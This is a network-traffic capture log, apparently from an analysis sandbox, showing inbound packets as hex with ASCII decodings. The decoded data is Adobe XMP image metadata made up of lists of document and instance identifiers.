2022-07-20 13:44:17 UTC	3145	IN	Data Raw: 36 43 34 44 46 35 37 43 30 44 39 34 38 31 39 35 37 45 36 39 37 36 45 39 42 30 30 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 44 41 36 46 34 35 36 39 30 36 46 42 32 41 39 36 35 41 45 35 45 31 41 45 34 34 38 31 31 36 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 44 41 42 34 33 32 36 33 32 35 34 35 43 42 44 45 36 31 37 45 31 38 41 37 37 30 37 30 39 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 44 41 45 35 32 44 30 46 33 33 43 42 38 35 45 35 45 43 35 35 36 39 39 41 30 37 39 31 37 46 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 44 41 46 32 42 36 46 35 38 32 42 38 43 36 39 35 33 38 41 43 37 37 34 32 46 38 31 32 44 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 44 44 33 41 45 30 41 Data Ascii: 6C4DF57C0D9481957E6976E9B008B</rdf:li> <rdf:li>ADA6F456906FB2A965AE5E1AE448116E</rdf:li> <rdf:li>ADAB432632545CBDE617E18A7707097D</rdf:li> <rdf:li>ADAE52D0F33CB85E5EC55699A07917F7</rdf:li> <rdf:li>ADAF2B6F582B8C69538AC7742F812D88</rdf:li> <rdf:li>ADD3AE0A
2022-07-20 13:44:17 UTC	3168	IN	Data Raw: 39 37 31 39 36 38 32 35 37 37 32 35 39 46 30 37 46 32 44 43 31 30 37 45 42 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 33 42 37 46 43 34 35 35 37 34 46 31 35 43 34 38 36 33 31 42 45 42 33 34 46 38 46 32 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 33 44 30 44 37 37 33 33 37 38 31 45 37 44 41 33 35 36 46 44 43 34 44 33 43 31 39 31 30 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 33 46 44 36 34 34 34 37 36 43 37 46 35 41 44 38 32 38 42 41 34 35 30 36 41 33 39 39 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 34 33 39 43 42 39 30 38 30 44 33 37 33 46 39 33 38 34 34 45 46 46 45 31 41 42 39 31 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 34 35 31 32 38 35 34 39 Data Ascii: 9719682577259F07F2DC107EB88</rdf:li> <rdf:li>B43B7FC45574F15C48631BEB34F8F21F</rdf:li> <rdf:li>B43D0D7733781E7DA356FDC4D3C1910F</rdf:li> <rdf:li>B43FD644476C7F5AD828BA4506A399D9</rdf:li> <rdf:li>B4439CB9080D373F93844EFFE1AB911B</rdf:li> <rdf:li>B445128549
2022-07-20 13:44:17 UTC	3169	IN	Data Raw: 42 33 41 35 34 45 43 46 36 38 39 35 45 35 33 43 41 32 45 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 42 46 37 37 30 35 39 30 45 35 39 38 39 46 35 33 31 31 41 41 42 41 35 45 39 46 35 35 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 43 30 31 37 38 42 37 39 30 44 35 39 37 31 42 35 31 44 45 37 43 37 45 37 42 42 32 35 46 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 43 37 37 30 36 37 35 34 43 31 46 44 41 44 46 32 45 42 38 39 36 38 31 46 32 37 45 45 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 43 38 45 41 44 32 31 34 43 32 30 46 41 36 39 36 37 43 37 34 45 43 38 37 36 32 37 38 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 43 43 32 37 35 35 33 42 45 32 30 45 46 44 Data Ascii: B3A54ECF6895E53CA2EC6</rdf:li> <rdf:li>B4BF770590E5989F5311AABA5E9F5589</rdf:li> <rdf:li>B4C0178B790D5971B51DE7C7E7BB25FF</rdf:li> <rdf:li>B4C7706754C1FDADF2EB89681F27EE2C</rdf:li> <rdf:li>B4C8EAD214C20FA6967C74EC87627866</rdf:li> <rdf:li>B4CC27553BE20EFD
2022-07-20 13:44:17 UTC	3185	IN	Data Raw: 66 3a 6c 69 3e 43 32 41 34 36 30 45 46 32 30 31 43 33 31 44 38 33 42 32 37 36 30 35 46 41 42 44 38 38 38 42 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 32 41 42 41 35 37 35 31 46 42 42 46 41 35 39 31 31 34 39 35 33 46 36 35 36 41 35 46 41 34 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 32 42 41 37 46 39 36 38 33 36 44 35 43 38 46 35 39 36 38 44 36 33 46 45 37 39 43 43 37 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 32 43 34 43 35 33 38 32 37 37 43 44 32 34 32 32 44 39 38 38 31 37 43 44 36 39 46 33 33 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 32 44 30 32 43 39 43 38 45 46 39 37 38 30 41 39 44 33 32 39 42 43 43 44 31 41 31 43 35 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e Data Ascii: f:li>C2A460EF201C31D83B27605FABD888BB</rdf:li> <rdf:li>C2ABA5751FBBFA59114953F656A5FA4B</rdf:li> <rdf:li>C2BA7F96836D5C8F5968D63FE79CC75B</rdf:li> <rdf:li>C2C4C538277CD2422D98817CD69F3371</rdf:li> <rdf:li>C2D02C9C8EF9780A9D329BCCD1A1C586</rdf:li> <rdf:li>
2022-07-20 13:44:17 UTC	3201	IN	Data Raw: 43 45 45 44 44 41 41 37 36 43 35 45 34 41 38 35 38 45 31 32 36 39 31 34 34 36 37 42 41 30 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 45 46 35 36 42 42 45 45 46 41 39 46 36 36 45 35 31 31 42 41 32 38 46 43 35 34 33 31 34 42 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 30 33 34 46 43 46 38 38 35 42 31 44 32 34 44 35 32 44 35 44 38 38 36 43 44 37 39 37 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 31 44 30 43 33 43 43 39 36 35 37 31 31 34 34 46 44 33 45 45 42 46 43 36 31 36 39 35 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 32 32 42 33 41 46 31 33 45 38 37 41 37 39 46 41 42 44 43 45 37 32 41 35 35 33 44 46 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 32 41 33 Data Ascii: CEEDDAA76C5E4A858E126914467BA03A</rdf:li> <rdf:li>CEF56BBEEFA9F66E511BA28FC54314B9</rdf:li> <rdf:li>CF034FCF885B1D24D52D5D886CD79778</rdf:li> <rdf:li>CF1D0C3CC96571144FD3EEBFC6169588</rdf:li> <rdf:li>CF22B3AF13E87A79FABDCE72A553DF0C</rdf:li> <rdf:li>CF2A3
2022-07-20 13:44:17 UTC	3208	IN	Data Raw: 3a 6c 69 3e 44 35 41 32 35 39 43 45 37 32 33 35 35 31 31 36 44 43 39 31 43 33 46 34 39 41 35 39 33 44 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 41 38 34 43 35 46 33 39 34 34 39 38 31 45 46 45 34 44 37 42 45 44 41 31 33 45 33 32 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 43 44 31 41 41 45 41 35 41 41 31 45 43 31 39 38 36 35 41 30 33 30 38 41 36 30 32 36 33 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 43 46 42 46 46 37 39 34 31 31 39 39 33 30 46 39 46 30 35 37 32 33 37 32 45 46 46 30 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 44 32 38 44 31 38 37 33 32 39 32 35 33 32 31 31 37 30 30 46 36 32 30 36 42 32 32 42 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 Data Ascii: :li>D5A259CE72355116DC91C3F49A593D4D</rdf:li> <rdf:li>D5A84C5F3944981EFE4D7BEDA13E3260</rdf:li> <rdf:li>D5CD1AAEA5AA1EC19865A0308A60263F</rdf:li> <rdf:li>D5CFBFF794119930F9F0572372EFF0DE</rdf:li> <rdf:li>D5D28D187329253211700F6206B22BD3</rdf:li> <rdf:li>D
2022-07-20 13:44:17 UTC	3224	IN	Data Raw: 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 33 32 34 35 31 38 42 44 42 37 34 44 46 36 44 37 36 34 44 30 42 37 43 42 35 33 45 30 36 41 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 33 32 39 30 30 35 46 37 45 42 42 43 42 35 38 46 45 30 39 44 41 35 38 42 38 34 44 33 42 39 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 33 33 37 34 31 43 41 43 30 41 41 44 43 44 32 44 31 37 45 44 41 37 34 33 30 38 32 45 38 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 33 35 38 42 35 45 31 44 42 46 36 33 37 37 41 32 43 37 34 44 32 37 30 30 32 46 38 39 41 42 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 33 36 41 31 36 39 37 45 37 38 44 30 45 43 42 32 45 38 36 32 34 41 31 41 37 38 45 39 32 45 41 3c 2f 72 Data Ascii: A9</rdf:li> <rdf:li>E324518BDB74DF6D764D0B7CB53E06AD</rdf:li> <rdf:li>E329005F7EBBCB58FE09DA58B84D3B93</rdf:li> <rdf:li>E33741CAC0AADCD2D17EDA743082E80C</rdf:li> <rdf:li>E358B5E1DBF6377A2C74D27002F89ABE</rdf:li> <rdf:li>E36A1697E78D0ECB2E8624A1A78E92EA</r
2022-07-20 13:44:17 UTC	3240	IN	Data Raw: 41 37 42 32 31 45 35 38 31 36 35 30 44 37 35 37 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 46 33 30 45 46 32 34 38 46 38 38 31 39 32 42 33 39 43 38 46 36 46 30 46 38 43 33 44 38 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 46 33 34 36 31 36 44 42 37 31 34 31 42 44 38 45 34 34 44 41 41 37 35 35 30 39 43 35 42 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 46 33 43 42 37 38 31 41 38 43 37 43 38 46 42 43 31 34 38 38 36 38 34 43 36 32 44 33 30 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 46 33 45 39 41 45 41 42 43 31 37 31 35 31 36 32 43 45 44 31 32 37 32 33 43 44 44 43 35 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 46 33 46 39 45 46 36 44 30 35 35 37 36 39 37 31 36 46 Data Ascii: A7B21E581650D75711</rdf:li> <rdf:li>EF30EF248F88192B39C8F6F0F8C3D839</rdf:li> <rdf:li>EF34616DB7141BD8E44DAA75509C5B92</rdf:li> <rdf:li>EF3CB781A8C7C8FBC1488684C62D3062</rdf:li> <rdf:li>EF3E9AEABC1715162CED12723CDDC55B</rdf:li> <rdf:li>EF3F9EF6D055769716F
2022-07-20 13:44:17 UTC	3248	IN	Data Raw: 34 37 33 46 43 46 45 38 45 41 38 44 46 35 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 30 43 45 46 38 35 36 31 34 45 31 39 33 45 38 45 33 43 33 35 42 32 45 34 33 43 45 33 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 30 44 33 38 35 39 35 38 44 37 44 41 30 41 35 34 30 32 35 44 32 32 34 43 44 43 38 44 41 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 30 46 39 31 35 39 39 30 44 42 39 35 43 30 39 32 34 42 43 30 32 37 44 44 31 32 30 44 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 31 39 35 33 39 46 41 33 44 35 35 39 43 43 43 39 34 31 44 30 45 41 39 36 30 43 31 44 46 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 33 43 41 37 43 30 32 34 42 37 31 46 31 35 32 36 32 31 35 Data Ascii: 473FCFE8EA8DF5AC</rdf:li> <rdf:li>F50CEF85614E193E8E3C35B2E43CE35F</rdf:li> <rdf:li>F50D385958D7DA0A54025D224CDC8DA4</rdf:li> <rdf:li>F50F915990DB95C0924BC027DD120D77</rdf:li> <rdf:li>F519539FA3D559CCC941D0EA960C1DFD</rdf:li> <rdf:li>F53CA7C024B71F1526215
2022-07-20 13:44:17 UTC	3264	IN	Data Raw: 65 31 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 61 64 64 32 66 64 30 2d 64 33 32 36 2d 31 31 64 64 2d 61 64 36 30 2d 64 38 35 64 38 30 38 30 36 61 64 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 61 65 37 64 37 35 32 2d 38 63 61 64 2d 31 31 64 39 2d 62 39 33 34 2d 62 38 37 39 39 31 35 63 39 31 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 62 39 38 38 61 62 62 2d 65 30 38 63 2d 31 31 64 37 2d 38 64 34 34 2d 38 32 64 32 31 62 33 61 36 38 30 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 Data Ascii: e120</rdf:li> <rdf:li>adobe:docid:photoshop:0add2fd0-d326-11dd-ad60-d85d80806ad1</rdf:li> <rdf:li>adobe:docid:photoshop:0ae7d752-8cad-11d9-b934-b879915c9142</rdf:li> <rdf:li>adobe:docid:photoshop:0b988abb-e08c-11d7-8d44-82d21b3a680f</rdf:li> <rdf:li>adobe
2022-07-20 13:44:17 UTC	3280	IN	Data Raw: 33 64 66 33 65 32 32 65 2d 62 35 36 65 2d 31 31 64 64 2d 61 64 35 32 2d 62 64 32 36 61 63 39 30 66 33 66 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 64 66 38 35 38 32 32 2d 62 66 35 66 2d 31 31 65 37 2d 38 64 39 65 2d 65 61 61 39 66 39 65 66 35 36 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 65 30 62 31 33 35 32 2d 62 34 37 62 2d 31 31 65 34 2d 39 30 61 39 2d 61 30 61 61 66 35 66 35 31 61 62 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 65 34 31 39 37 62 39 2d 61 30 34 64 2d 31 31 65 37 2d 61 35 35 39 2d 62 64 61 Data Ascii: 3df3e22e-b56e-11dd-ad52-bd26ac90f3f6</rdf:li> <rdf:li>adobe:docid:photoshop:3df85822-bf5f-11e7-8d9e-eaa9f9ef5651</rdf:li> <rdf:li>adobe:docid:photoshop:3e0b1352-b47b-11e4-90a9-a0aaf5f51ab1</rdf:li> <rdf:li>adobe:docid:photoshop:3e4197b9-a04d-11e7-a559-bda
2022-07-20 13:44:17 UTC	3288	IN	Data Raw: 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 32 62 39 36 62 65 65 2d 33 33 31 30 2d 31 31 37 39 2d 38 37 39 35 2d 66 61 37 38 31 65 62 65 34 37 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 32 62 64 35 38 37 32 2d 39 39 32 65 2d 31 31 64 39 2d 38 31 64 34 2d 39 62 37 64 30 31 66 39 37 32 32 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 33 34 32 62 66 36 38 2d 30 66 36 37 2d 31 31 64 65 2d 38 63 38 39 2d 61 62 64 38 36 38 31 35 32 39 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 Data Ascii: df:li>adobe:docid:photoshop:52b96bee-3310-1179-8795-fa781ebe4746</rdf:li> <rdf:li>adobe:docid:photoshop:52bd5872-992e-11d9-81d4-9b7d01f9722d</rdf:li> <rdf:li>adobe:docid:photoshop:5342bf68-0f67-11de-8c89-abd868152904</rdf:li> <rdf:li>adobe:docid:photoshop
2022-07-20 13:44:17 UTC	3304	IN	Data Raw: 37 37 2d 38 34 64 62 2d 39 66 38 61 38 63 63 66 32 63 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 32 66 39 36 65 64 36 2d 36 37 61 62 2d 31 31 65 37 2d 61 36 36 38 2d 62 33 38 63 35 31 62 36 39 37 35 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 33 30 62 65 38 36 32 2d 36 66 62 34 2d 31 31 64 64 2d 39 63 31 37 2d 63 37 64 38 39 39 37 66 34 30 38 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 33 33 38 62 39 63 34 2d 62 34 64 65 2d 31 31 37 61 2d 39 66 32 37 2d 65 64 35 32 35 37 30 62 36 31 31 65 3c 2f 72 64 66 3a 6c Data Ascii: 77-84db-9f8a8ccf2c09</rdf:li> <rdf:li>adobe:docid:photoshop:82f96ed6-67ab-11e7-a668-b38c51b6975b</rdf:li> <rdf:li>adobe:docid:photoshop:830be862-6fb4-11dd-9c17-c7d8997f408c</rdf:li> <rdf:li>adobe:docid:photoshop:8338b9c4-b4de-117a-9f27-ed52570b611e</rdf:l
2022-07-20 13:44:17 UTC	3320	IN	Data Raw: 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 38 62 64 64 31 37 61 2d 61 64 31 62 2d 31 31 65 36 2d 62 62 64 30 2d 64 32 65 33 32 66 36 61 61 66 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 38 65 38 63 63 38 34 2d 64 39 33 65 2d 31 31 65 37 2d 61 62 32 64 2d 65 66 39 31 34 32 64 64 65 36 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 39 31 62 30 37 66 38 2d 34 61 66 33 2d 31 31 65 37 2d 61 35 61 39 2d 65 37 64 35 62 33 34 37 34 33 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 39 32 38 36 65 34 39 2d 62 65 Data Ascii: docid:photoshop:b8bdd17a-ad1b-11e6-bbd0-d2e32f6aaf17</rdf:li> <rdf:li>adobe:docid:photoshop:b8e8cc84-d93e-11e7-ab2d-ef9142dde686</rdf:li> <rdf:li>adobe:docid:photoshop:b91b07f8-4af3-11e7-a5a9-e7d5b3474394</rdf:li> <rdf:li>adobe:docid:photoshop:b9286e49-be
2022-07-20 13:44:17 UTC	3328	IN	Data Raw: 39 39 32 32 33 61 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 33 34 38 31 39 39 35 2d 31 62 65 37 2d 31 31 64 61 2d 62 32 34 63 2d 62 65 32 36 64 62 62 34 32 37 64 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 34 63 63 65 35 31 64 2d 65 34 62 37 2d 31 31 65 36 2d 39 66 33 34 2d 65 30 63 34 65 32 65 62 37 36 35 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 35 37 34 30 31 61 38 2d 31 38 35 39 2d 31 31 37 61 2d 61 36 34 63 2d 65 61 34 66 34 30 32 30 34 39 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 Data Ascii: 99223a6</rdf:li> <rdf:li>adobe:docid:photoshop:d3481995-1be7-11da-b24c-be26dbb427d9</rdf:li> <rdf:li>adobe:docid:photoshop:d4cce51d-e4b7-11e6-9f34-e0c4e2eb765d</rdf:li> <rdf:li>adobe:docid:photoshop:d57401a8-1859-117a-a64c-ea4f40204932</rdf:li> <rdf:li>ad
2022-07-20 13:44:17 UTC	3344	IN	Data Raw: 3e 75 75 69 64 3a 30 37 31 36 42 34 31 39 32 33 34 38 44 43 31 31 38 32 46 35 39 44 34 33 36 43 39 45 38 45 43 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 37 31 45 43 39 34 36 46 38 31 41 31 31 44 43 38 37 33 31 44 34 39 35 46 37 46 44 45 43 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 37 36 45 33 34 34 31 31 32 41 36 44 46 31 31 41 44 31 38 38 30 31 39 34 39 42 45 43 42 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 37 38 35 44 39 36 46 37 38 34 39 44 46 31 31 38 30 43 32 43 46 44 46 45 35 35 42 41 42 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 37 39 35 34 44 45 36 36 36 41 45 45 30 31 31 41 38 39 33 39 39 35 35 42 44 45 31 39 Data Ascii: >uuid:0716B4192348DC1182F59D436C9E8ECE</rdf:li> <rdf:li>uuid:071EC946F81A11DC8731D495F7FDEC7E</rdf:li> <rdf:li>uuid:076E344112A6DF11AD18801949BECB5D</rdf:li> <rdf:li>uuid:0785D96F7849DF1180C2CFDFE55BAB09</rdf:li> <rdf:li>uuid:07954DE666AEE011A8939955BDE19
2022-07-20 13:44:18 UTC	4425	IN	Data Raw: 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 45 42 41 42 44 35 38 32 32 33 31 45 30 31 31 39 37 36 38 44 45 32 46 35 32 31 31 32 46 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 46 33 41 43 41 44 43 35 42 42 35 44 44 31 31 42 34 44 37 46 35 43 33 45 32 32 33 43 37 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 46 34 42 38 31 42 45 31 37 35 45 44 44 31 31 42 42 37 34 46 45 35 42 35 30 31 46 42 45 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 46 35 42 39 30 38 46 43 45 44 41 44 46 31 31 42 45 43 36 41 33 42 46 38 44 36 39 34 34 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 46 37 38 36 31 36 30 39 43 43 Data Ascii: 3</rdf:li> <rdf:li>uuid:3EBABD582231E0119768DE2F52112F6B</rdf:li> <rdf:li>uuid:3F3ACADC5BB5DD11B4D7F5C3E223C7EA</rdf:li> <rdf:li>uuid:3F4B81BE175EDD11BB74FE5B501FBEC4</rdf:li> <rdf:li>uuid:3F5B908FCEDADF11BEC6A3BF8D694452</rdf:li> <rdf:li>uuid:3F7861609CC
2022-07-20 13:44:18 UTC	4433	IN	Data Raw: 75 69 64 3a 35 37 39 35 33 31 35 31 33 31 30 43 44 46 31 31 38 44 41 43 39 41 32 43 39 44 35 38 44 41 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 37 41 32 32 36 34 31 32 44 45 41 45 30 31 31 38 43 43 46 38 46 41 35 36 46 46 38 44 36 41 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 37 44 42 44 38 34 45 43 31 36 32 45 30 31 31 38 43 31 36 44 31 42 39 37 41 32 35 36 35 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 38 30 35 35 46 43 42 39 37 41 35 31 31 44 44 41 37 45 32 39 43 30 46 33 36 32 37 30 46 46 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 38 32 45 41 44 42 44 42 35 30 39 45 34 31 31 38 33 36 33 44 36 35 31 41 32 33 34 34 38 38 Data Ascii: uid:57953151310CDF118DAC9A2C9D58DA96</rdf:li> <rdf:li>uuid:57A226412DEAE0118CCF8FA56FF8D6A6</rdf:li> <rdf:li>uuid:57DBD84EC162E0118C16D1B97A256573</rdf:li> <rdf:li>uuid:58055FCB97A511DDA7E29C0F36270FFB</rdf:li> <rdf:li>uuid:582EADBDB509E4118363D651A234488
2022-07-20 13:44:18 UTC	4449	IN	Data Raw: 34 33 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 41 38 44 36 38 46 34 36 43 30 46 31 31 44 43 39 36 36 39 41 30 41 34 43 39 39 33 46 30 46 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 41 43 46 36 30 32 43 45 34 39 30 44 44 31 31 41 43 37 38 38 34 33 39 34 33 31 43 31 35 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 41 44 44 30 39 38 43 41 41 39 45 44 43 31 31 41 30 34 33 39 38 30 35 30 30 37 36 46 43 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 42 31 34 30 46 30 46 36 39 33 31 31 31 44 44 41 35 46 42 46 34 45 33 37 39 46 41 34 33 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 42 31 36 43 42 33 44 Data Ascii: 4392</rdf:li> <rdf:li>uuid:8A8D68F46C0F11DC9669A0A4C993F0F6</rdf:li> <rdf:li>uuid:8ACF602CE490DD11AC788439431C1542</rdf:li> <rdf:li>uuid:8ADD098CAA9EDC11A04398050076FC83</rdf:li> <rdf:li>uuid:8B140F0F693111DDA5FBF4E379FA43DB</rdf:li> <rdf:li>uuid:8B16CB3D
